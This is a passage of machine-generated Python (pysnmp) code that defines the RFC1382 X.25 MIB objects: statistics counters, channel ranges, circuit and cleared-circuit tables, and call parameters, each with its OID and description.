x25StatInCallRefusals.setDescription('The number of incoming calls refused. This\n includes calls refused by the PLE and by\n higher layers. This also includes calls\n cleared because of restricted fast select.') x25StatInProviderInitiatedClears = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInProviderInitiatedClears.setDescription('The number of clear requests with a cause\n code other than DTE initiated.') x25StatInRemotelyInitiatedResets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInRemotelyInitiatedResets.setDescription('The number of reset requests received with\n\n\n cause code DTE initiated.') x25StatInProviderInitiatedResets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInProviderInitiatedResets.setDescription('The number of reset requests received with\n cause code other than DTE initiated.') x25StatInRestarts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 7), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInRestarts.setDescription('The number of remotely initiated (including\n provider initiated) restarts experienced by\n the PLE excluding the restart associated\n with bringing up the PLE interface. This\n only counts restarts received when the PLE\n already has an established connection with\n the remove PLE.') x25StatInDataPackets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInDataPackets.setDescription('The number of data packets received.') x25StatInAccusedOfProtocolErrors = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInAccusedOfProtocolErrors.setDescription('The number of packets received containing a\n procedure error cause code. These include\n clear, reset, restart, or diagnostic\n packets.') x25StatInInterrupts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 10), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInInterrupts.setDescription('The number of interrupt packets received by\n the PLE or over the PVC/VC.') x25StatOutCallAttempts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 11), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatOutCallAttempts.setDescription('The number of calls attempted.') x25StatOutCallFailures = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 12), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatOutCallFailures.setDescription('The number of call attempts which failed.\n This includes calls that were cleared\n because of restrictive fast select.') x25StatOutInterrupts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 13), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatOutInterrupts.setDescription('The number of interrupt packets send by the\n PLE or over the PVC/VC.') x25StatOutDataPackets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 14), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatOutDataPackets.setDescription('The number of data packets sent by this\n PLE.') x25StatOutgoingCircuits = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 15), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatOutgoingCircuits.setDescription('The number of active outgoing circuits.\n This includes call requests sent but not yet\n confirmed. This does not count PVCs.') x25StatIncomingCircuits = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 16), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatIncomingCircuits.setDescription('The number of active Incoming Circuits.\n This includes call indications received but\n not yet acknowledged. This does not count\n PVCs.') x25StatTwowayCircuits = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 17), Gauge32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatTwowayCircuits.setDescription('The number of active two-way Circuits.\n This includes call requests sent but not yet\n confirmed. This does not count PVCs.') x25StatRestartTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 18), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatRestartTimeouts.setDescription('The number of times the T20 restart timer\n expired.') x25StatCallTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 19), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatCallTimeouts.setDescription('The number of times the T21 call timer\n expired.') x25StatResetTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 20), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatResetTimeouts.setDescription('The number of times the T22 reset timer\n expired.') x25StatClearTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 21), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatClearTimeouts.setDescription('The number of times the T23 clear timer\n expired.') x25StatDataRxmtTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 22), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatDataRxmtTimeouts.setDescription('The number of times the T25 data timer\n expired.') x25StatInterruptTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 23), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInterruptTimeouts.setDescription('The number of times the T26 interrupt timer\n expired.') x25StatRetryCountExceededs = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 24), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatRetryCountExceededs.setDescription('The number of times a retry counter was\n exhausted.') x25StatClearCountExceededs = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 25), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatClearCountExceededs.setDescription('The number of times the R23 clear count was\n exceeded.') x25ChannelTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 4), ) if mibBuilder.loadTexts: x25ChannelTable.setDescription('These objects contain information about the\n channel number configuration in an X.25 PLE.\n These values are the configured values.\n changes in these values after the interfaces\n has started may not be reflected in the\n operating PLE.') x25ChannelEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 4, 1), ).setIndexNames((0, "RFC1382-MIB", "x25ChannelIndex")) if mibBuilder.loadTexts: x25ChannelEntry.setDescription('Entries of x25ChannelTable.') x25ChannelIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 1), IfIndexType()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ChannelIndex.setDescription('The ifIndex value for the X.25 Interface.') x25ChannelLIC = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ChannelLIC.setDescription('Lowest Incoming channel.') x25ChannelHIC = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ChannelHIC.setDescription('Highest Incoming channel. A value of zero\n indicates no channels in this range.') x25ChannelLTC = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ChannelLTC.setDescription('Lowest Two-way channel.') x25ChannelHTC = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ChannelHTC.setDescription('Highest Two-way channel. A value of zero\n indicates no channels in this range.') x25ChannelLOC = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ChannelLOC.setDescription('Lowest outgoing channel.') x25ChannelHOC = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 4, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ChannelHOC.setDescription('Highest outgoing channel. A value of zero\n\n\n indicates no channels in this range.') x25CircuitTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 5), ) if mibBuilder.loadTexts: x25CircuitTable.setDescription('These objects contain general information\n about a specific circuit of an X.25 PLE.') x25CircuitEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 5, 1), ).setIndexNames((0, "RFC1382-MIB", "x25CircuitIndex"), (0, "RFC1382-MIB", "x25CircuitChannel")) if mibBuilder.loadTexts: x25CircuitEntry.setDescription('Entries of x25CircuitTable.') x25CircuitIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 1), IfIndexType()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitIndex.setDescription('The ifIndex value for the X.25 Interface.') x25CircuitChannel = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitChannel.setDescription('The channel number for this circuit.') x25CircuitStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10,))).clone(namedValues=NamedValues(("invalid", 1), ("closed", 2), ("calling", 3), ("open", 4), ("clearing", 5), ("pvc", 6), ("pvcResetting", 7), ("startClear", 8), ("startPvcResetting", 9), ("other", 10),))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitStatus.setDescription("This object reports the current status of\n the circuit.\n\n An existing instance of this object can only\n be set to startClear, startPvcResetting, or\n invalid. An instance with the value calling\n or open can only be set to startClear and\n that action will start clearing the circuit.\n An instance with the value PVC can only be\n set to startPvcResetting or invalid and that\n action resets the PVC or deletes the circuit\n respectively. The values startClear or\n startPvcResetting will never be returned by\n an agent. An attempt to set the status of\n an existing instance to a value other than\n one of these values will result in an error.\n\n A non-existing instance can be set to PVC to\n create a PVC if the implementation supports\n dynamic creation of PVCs. Some\n implementations may only allow creation and\n deletion of PVCs if the interface is down.\n Since the instance identifier will supply\n the PLE index and the channel number,\n setting this object alone supplies\n sufficient information to create the\n instance. All the DEFVAL clauses for the\n other objects of this table are appropriate\n for creating a PVC; PLEs creating entries\n for placed or accepted calls will use values\n appropriate for the call rather than the\n value of the DEFVAL clause. Two managers\n trying to create the same PVC can determine\n from the return code which manager succeeded\n and which failed (the failing manager fails\n because it can not set a value of PVC for an\n existing object).\n\n\n An entry in the closed or invalid state may\n be deleted or reused at the agent's\n convence. If the entry is kept in the\n closed state, the values of the parameters\n associated with the entry must be correct.\n Closed implies the values in the circuit\n table are correct.\n\n The value of invalid indicates the other\n values in the table are invalid. Many\n agents may never return a value of invalid\n because they dynamically allocate and free\n unused table entries. An agent for a\n statically configured systems can return\n invalid to indicate the entry has not yet\n been used so the counters contain no\n information.") x25CircuitEstablishTime = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 4), TimeTicks()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitEstablishTime.setDescription('The value of sysUpTime when the channel was\n associated with this circuit. For outgoing\n SVCs, this is the time the first call packet\n was sent. For incoming SVCs, this is the\n time the call indication was received. For\n PVCs this is the time the PVC was able to\n pass data to a higher layer entity without\n loss of data.') x25CircuitDirection = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("incoming", 1), ("outgoing", 2), ("pvc", 3),)).clone('pvc')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitDirection.setDescription('The direction of the call that established\n this circuit.') x25CircuitInOctets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitInOctets.setDescription('The number of octets of user data delivered\n to upper layer.') x25CircuitInPdus = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 7), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitInPdus.setDescription('The number of PDUs received for this\n circuit.') x25CircuitInRemotelyInitiatedResets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitInRemotelyInitiatedResets.setDescription('The number of Resets received for this\n circuit with cause code of DTE initiated.') x25CircuitInProviderInitiatedResets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitInProviderInitiatedResets.setDescription('The number of Resets received for this\n circuit with cause code other than DTE\n initiated.') x25CircuitInInterrupts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 10), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitInInterrupts.setDescription('The number of interrupt packets received\n for this circuit.') x25CircuitOutOctets = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 11), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitOutOctets.setDescription('The number of octets of user data sent for\n this circuit.') x25CircuitOutPdus = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 12), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitOutPdus.setDescription('The number of PDUs sent for this circuit.') x25CircuitOutInterrupts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 13), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitOutInterrupts.setDescription('The number of interrupt packets sent on\n this circuit.') x25CircuitDataRetransmissionTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 14), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitDataRetransmissionTimeouts.setDescription('The number of times the T25 data\n retransmission timer expired for this\n circuit.') x25CircuitResetTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 15), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitResetTimeouts.setDescription('The number of times the T22 reset timer\n expired for this circuit.') x25CircuitInterruptTimeouts = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 16), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CircuitInterruptTimeouts.setDescription('The number of times the T26 Interrupt timer\n expired for this circuit.') x25CircuitCallParamId = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 17), ObjectIdentifier()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitCallParamId.setDescription('This identifies the instance of the\n x25CallParmIndex for the entry in the\n x25CallParmTable which contains the call\n parameters in use with this circuit. The\n entry referenced must contain the values\n that are currently in use by the circuit\n rather than proposed values. A value of\n NULL indicates the circuit is a PVC or is\n using all the default parameters.') x25CircuitCalledDteAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 18), X121Address().clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitCalledDteAddress.setDescription('For incoming calls, this is the called\n address from the call indication packet.\n For outgoing calls, this is the called\n\n\n address from the call confirmation packet.\n This will be zero length for PVCs.') x25CircuitCallingDteAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 19), X121Address().clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitCallingDteAddress.setDescription('For incoming calls, this is the calling\n address from the call indication packet.\n For outgoing calls, this is the calling\n address from the call confirmation packet.\n This will be zero length for PVCs.') x25CircuitOriginallyCalledAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 20), X121Address().clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitOriginallyCalledAddress.setDescription('For incoming calls, this is the address in\n the call Redirection or Call Deflection\n Notification facility if the call was\n deflected or redirected, otherwise it will\n be called address from the call indication\n packet. For outgoing calls, this is the\n address from the call request packet. This\n will be zero length for PVCs.') x25CircuitDescr = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 5, 1, 21), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0,255)).clone(hexValue="")).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CircuitDescr.setDescription("A descriptive string associated with this\n circuit. This provides a place for the\n agent to supply any descriptive information\n it knows about the use or owner of the\n circuit. The agent may return the process\n identifier and user name for the process\n\n\n using the circuit. Alternative the agent\n may return the name of the configuration\n entry that caused a bridge to establish the\n circuit. A zero length value indicates the\n agent doesn't have any additional\n information.") x25ClearedCircuitEntriesRequested = MibScalar((1, 3, 6, 1, 2, 1, 10, 5, 6), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25ClearedCircuitEntriesRequested.setDescription('The requested number of entries for the\n agent to keep in the x25ClearedCircuit\n table.') x25ClearedCircuitEntriesGranted = MibScalar((1, 3, 6, 1, 2, 1, 10, 5, 7), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitEntriesGranted.setDescription('The actual number of entries the agent will\n keep in the x25ClearedCircuit Table.') x25ClearedCircuitTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 8), ) if mibBuilder.loadTexts: x25ClearedCircuitTable.setDescription('A table of entries about closed circuits.\n Entries must be made in this table whenever\n circuits are closed and the close request or\n close indication packet contains a clearing\n cause other than DTE Originated or a\n Diagnostic code field other than Higher\n Layer Initiated disconnection-normal. An\n agent may optionally make entries for normal\n closes (to record closing facilities or\n\n\n other information).\n\n Agents will delete the oldest entry in the\n table when adding a new entry would exceed\n agent resources. Agents are required to\n keep the last entry put in the table and may\n keep more entries. The object\n x25OperClearEntriesGranted returns the\n maximum number of entries kept in the\n table.') x25ClearedCircuitEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 8, 1), ).setIndexNames((0, "RFC1382-MIB", "x25ClearedCircuitIndex")) if mibBuilder.loadTexts: x25ClearedCircuitEntry.setDescription('Information about a cleared circuit.') x25ClearedCircuitIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitIndex.setDescription('An index that uniquely distinguishes one\n entry in the clearedCircuitTable from\n another. This index will start at\n 2147483647 and will decrease by one for each\n new entry added to the table. Upon reaching\n one, the index will reset to 2147483647.\n Because the index starts at 2147483647 and\n decreases, a manager may do a getnext on\n entry zero and obtain the most recent entry.\n When the index has the value of 1, the next\n entry will delete all entries in the table\n and that entry will be numbered 2147483647.') x25ClearedCircuitPleIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 2), IfIndexType()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitPleIndex.setDescription('The value of ifIndex for the PLE which\n cleared the circuit that created the entry.') x25ClearedCircuitTimeEstablished = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 3), TimeTicks()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitTimeEstablished.setDescription('The value of sysUpTime when the circuit was\n established. This will be the same value\n that was in the x25CircuitEstablishTime for\n the circuit.') x25ClearedCircuitTimeCleared = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 4), TimeTicks()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitTimeCleared.setDescription('The value of sysUpTime when the circuit was\n cleared. For locally initiated clears, this\n\n\n will be the time when the clear confirmation\n was received. For remotely initiated\n clears, this will be the time when the clear\n indication was received.') x25ClearedCircuitChannel = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4095))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitChannel.setDescription('The channel number for the circuit that was\n cleared.') x25ClearedCircuitClearingCause = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,255))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitClearingCause.setDescription('The Clearing Cause from the clear request\n or clear indication packet that cleared the\n circuit.') x25ClearedCircuitDiagnosticCode = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,255))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitDiagnosticCode.setDescription('The Diagnostic Code from the clear request\n or clear indication packet that cleared the\n circuit.') x25ClearedCircuitInPdus = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitInPdus.setDescription('The number of PDUs received on the\n circuit.') x25ClearedCircuitOutPdus = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitOutPdus.setDescription('The number of PDUs transmitted on the\n circuit.') x25ClearedCircuitCalledAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 10), X121Address()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitCalledAddress.setDescription('The called address from the cleared\n circuit.') x25ClearedCircuitCallingAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 11), X121Address()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitCallingAddress.setDescription('The calling address from the cleared\n circuit.') x25ClearedCircuitClearFacilities = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 8, 1, 12), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0,109))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25ClearedCircuitClearFacilities.setDescription('The facilities field from the clear request\n or clear indication packet that cleared the\n circuit. A size of zero indicates no\n facilities were present.') x25CallParmTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 9), ) if mibBuilder.loadTexts: x25CallParmTable.setDescription('These objects contain the parameters that\n can be varied between X.25 calls. The\n entries in this table are independent of the\n PLE. There exists only one of these tables\n for the entire system. The indexes for the\n entries are independent of any PLE or any\n circuit. Other tables reference entries in\n this table. Entries in this table can be\n used for default PLE parameters, for\n parameters to use to place/answer a call,\n for the parameters currently in use for a\n circuit, or parameters that were used by a\n circuit.\n\n The number of references to a given set of\n parameters can be found in the\n x25CallParmRefCount object sharing the same\n instance identifier with the parameters.\n The value of this reference count also\n affects the access of the objects in this\n table. An object in this table with the\n same instance identifier as the instance\n identifier of an x25CallParmRefCount must be\n consider associated with that reference\n count. An object with an associated\n reference count of zero can be written (if\n its ACCESS clause allows it). An object\n with an associated reference count greater\n than zero can not be written (regardless of\n the ACCESS clause). This ensures that a set\n of call parameters being referenced from\n another table can not be modified or changed\n in a ways inappropriate for continued use by\n that table.') x25CallParmEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 9, 1), ).setIndexNames((0, "RFC1382-MIB", "x25CallParmIndex")) if mibBuilder.loadTexts: x25CallParmEntry.setDescription('Entries of x25CallParmTable.') x25CallParmIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CallParmIndex.setDescription('A value that distinguishes this entry from\n another entry. Entries in this table are\n referenced from other objects which identify\n call parameters.\n\n It is impossible to know which other objects\n in the MIB reference entries in the table by\n looking at this table. Because of this,\n changes to parameters must be accomplished\n by creating a new entry in this table and\n then changing the referencing table to\n identify the new entry.\n\n Note that an agent will only use the values\n in this table when another table is changed\n to reference those values. The number of\n other tables that reference an index object\n in this table can be found in\n x25CallParmRefCount. The value of the\n reference count will affect the writability\n of the objects as explained above.\n\n Entries in this table which have a reference\n count of zero maybe deleted at the convence\n of the agent. Care should be taken by the\n agent to give the NMS sufficient time to\n create a reference to newly created entries.\n\n Should a Management Station not find a free\n index with which to create a new entry, it\n may feel free to delete entries with a\n\n\n reference count of zero. However in doing\n so the Management Station much realize it\n may impact other Management Stations.') x25CallParmStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 2), EntryStatus()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmStatus.setDescription('The status of this call parameter entry.\n See RFC 1271 for details of usage.') x25CallParmRefCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 3), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25CallParmRefCount.setDescription('The number of references know by a\n management station to exist to this set of\n call parameters. This is the number of\n other objects that have returned a value of,\n and will return a value of, the index for\n this set of call parameters. Examples of\n such objects are the x25AdmnDefCallParamId,\n x25OperDataLinkId, or x25AdmnDefCallParamId\n objects defined above.') x25CallParmInPacketSize = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4096)).clone(128)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmInPacketSize.setDescription('The maximum receive packet size in octets\n for a circuit. A size of zero for a circuit\n means use the PLE default size. A size of\n zero for the PLE means use a default size of\n 128.') x25CallParmOutPacketSize = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4096)).clone(128)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmOutPacketSize.setDescription('The maximum transmit packet size in octets\n for a circuit. A size of zero for a circuit\n means use the PLE default size. A size of\n zero for the PLE default means use a default\n size of 128.') x25CallParmInWindowSize = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,127)).clone(2)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmInWindowSize.setDescription('The receive window size for a circuit. A\n size of zero for a circuit means use the PLE\n default size. A size of zero for the PLE\n default means use 2.') x25CallParmOutWindowSize = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,127)).clone(2)).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmOutWindowSize.setDescription('The transmit window size for a circuit. A\n size of zero for a circuit means use the PLE\n default size. A size of zero for the PLE\n default means use 2.') x25CallParmAcceptReverseCharging = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4,))).clone(namedValues=NamedValues(("default", 1), ("accept", 2), ("refuse", 3), ("neverAccept", 4),)).clone('refuse')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmAcceptReverseCharging.setDescription('An enumeration defining if the PLE will\n accept or refuse charges. A value of\n default for a circuit means use the PLE\n default value. A value of neverAccept is\n only used for the PLE default and indicates\n the PLE will never accept reverse charging.\n A value of default for a PLE default means\n refuse.') x25CallParmProposeReverseCharging = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("default", 1), ("reverse", 2), ("local", 3),)).clone('local')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmProposeReverseCharging.setDescription('An enumeration defining if the PLE should\n propose reverse or local charging. The\n value of default for a circuit means use the\n PLE default. The value of default for the\n PLE default means use local.') x25CallParmFastSelect = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6,))).clone(namedValues=NamedValues(("default", 1), ("notSpecified", 2), ("fastSelect", 3), ("restrictedFastResponse", 4), ("noFastSelect", 5), ("noRestrictedFastResponse", 6),)).clone('noFastSelect')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmFastSelect.setDescription('Expresses preference for use of fast select\n facility. The value of default for a\n circuit is the PLE default. A value of\n\n\n default for the PLE means noFastSelect. A\n value of noFastSelect or\n noRestrictedFastResponse indicates a circuit\n may not use fast select or restricted fast\n response.') x25CallParmInThruPutClasSize = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 9, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,))).clone(namedValues=NamedValues(("tcReserved1", 1), ("tcReserved2", 2), ("tc75", 3), ("tc150", 4), ("tc300", 5), ("tc600", 6), ("tc1200", 7), ("tc2400", 8), ("tc4800", 9), ("tc9600", 10), ("tc19200", 11), ("tc48000", 12), ("tc64000", 13), ("tcReserved14", 14), ("tcReserved15", 15), ("tcReserved0", 16), ("tcNone", 17), ("tcDefault", 18),)).clone('tcNone')).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25CallParmInThruPutClasSize.setDescription('The incoming throughput class to negotiate.\n A value of tcDefault for a circuit means use\n the PLE default. A value of tcDefault for\n 